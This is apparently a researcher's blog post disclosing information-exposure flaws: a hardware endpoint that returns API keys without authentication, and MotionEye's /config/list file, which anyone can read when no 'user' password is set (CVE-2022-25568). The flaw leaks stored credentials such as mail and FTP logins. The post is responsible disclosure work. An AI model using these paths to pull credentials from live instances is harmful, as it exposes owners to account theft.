Edit: added this because someone didn’t understand this is an issue.

Edit: I added this picture above of the get_ws_settings endpoint. As you can see, I’m not using any authentication. You can also see I was trying some shenanigans, but nonetheless, you can also see this returns several API keys for other services, which is not a good thing to be handing out. It basically is the API endpoint for this page that is behind the ‘authentication’ of the application.

I did find some of these exposed to the internet, but I’d probably avoid that, if I were you. With that said, I actually like the hardware. It’s fun to play around with, and it is inexpensive.

MotionEye Config Info Disclosure

Edit: This was given CVE-2022-25568. As mentioned in my previous posts here and here, I’ve done a little digging into the conditions that are required for the MotioneEye config file to be world viewable, and I’ve reached this conclusion:

As long as a “user” password is not set, the config file will be world readable. Even if an “admin” password has been set, the /config/list file will still be readable by everybody. So, while someone could think they are doing the correct thing by creating a password for the admin user, they may still be leaking private information. Here is a innocuous example from a live instance:

As you can see in this picture, IP addresses/services/passwords are exposed. This is a rather innocuous example, being that it is an internal IP address, but it illustrates how this could be an issue. Imagine if those were your public FTP server credentials. Or if they were your gmail credentials for smtp notifications. The list goes on.

Along with usernames, passwords, auth keys, and email addresses, these config files also contain less sensitive information like internal network IP addresses and URLs, drive and mounting information.

In many ways this vulnerability may be worse that the MotionEye RCE vulnerability that I reported and received a CVE for. In that case, the admin password needed to be left blank (or easily guessed) for someone to get into the admin panel and achieve RCE. In this case, a user could think they’re being secure by setting an admin password, but they leave the user password blank – and the config remains viewable.

I’ve found gmail, gdrive, ftp, sftp, telegram stuff (not sure how auth works there), etc. all exposed to the WWW in these files.

I’ve submitted an issue on the MotionEye github page, but if it is anything like last time, they don’t plan on fixing it/see it as a non-issue.

Edit: The issue was closed before I even finished this post.

Edit: The issue was reopened and I submitted a pull request to fix the issue, although my fix was not tested much, so it may not work properly.